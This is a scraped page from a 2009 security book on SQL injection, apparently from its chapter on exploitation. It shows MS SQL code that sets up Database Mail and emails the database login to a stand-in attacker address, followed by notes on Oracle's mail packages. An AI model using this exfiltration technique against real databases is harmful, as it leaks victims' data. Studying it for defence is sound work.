28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

202 Chapter 4 • Exploiting <strong>SQL</strong> <strong>Injection</strong><br />

EXEC msdb.dbo.sysmail_add_account_sp<br />

@account_name='MYACC',@email_address='hacked@victim.com',<br />

@display_name='mls',@mailserver_name='smtp.victim.com',<br />

@account_id=NULL;<br />

--Create a new profile, MYPROFILE<br />

EXEC msdb.dbo.sysmail_add_profile_sp<br />

@profile_name='MYPROFILE',@description=NULL, @profile_id=NULL;<br />

--Bind the account to the profile<br />

EXEC msdb.dbo.sysmail_add_profileaccount_sp @profile_name='MYPROFILE',<br />

@account_name='acc',@sequence_number=1<br />

--Retrieve login<br />

DECLARE @b VARCHAR(8000);<br />

SELECT @b=SYSTEM_USER;<br />

--Send the mail<br />

EXEC msdb.dbo.sp_send_dbmail @profile_name='MYPROFILE',<br />

@recipients='allyrbase@attacker.com', @subject='system user',@body=@b;<br />

Oracle<br />

When it comes to using the DBMS to send e-mail messages, Oracle also provides two<br />

different e-mailing systems depending on the DBMS version. Since Version 8i, you could<br />

send e-mails through the UTL_SMTP package, which provided the DBA with all the<br />

instruments to start <strong>and</strong> manage an SMTP connection. Starting with Version 10g, Oracle<br />

introduced the UTL_MAIL package, which is an extra layer over UTL_SMTP <strong>and</strong> allows<br />

administrators to use e-mailing in a faster <strong>and</strong> simpler way.<br />

UTL_SMTP, as the name suggests, provides a series of functions to start <strong>and</strong> manage<br />

an SMTP connection: You contact a server using UTL_SMTP.OPEN_CONNECTION,<br />

then send the “HELO” message to that server using UTL_SMTP.HELO, <strong>and</strong> then specify<br />

the sender <strong>and</strong> receiver using UTL_SMTP.MAIL <strong>and</strong> UTL_SMTP.RCP, respectively. Then<br />

you can specify the message with UTL_SMTP.DATA <strong>and</strong> finally terminate the session using<br />

UTL_SMTP.QUIT.<br />

With UTL_MAIL, the whole process is a lot simpler, as you can perform it in its<br />

entirety with the following stored procedure:<br />

UTL_MAIL.SEND(sender, recipient, cc, bcc, subject, message, mime_type,<br />

priority)<br />

Keep in mind that for obvious security reasons UTL_MAIL is not enabled by default;<br />

an administrator must enable it manually. UTL_SMTP is, however, enabled by default<br />

<strong>and</strong> granted to the public role.

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!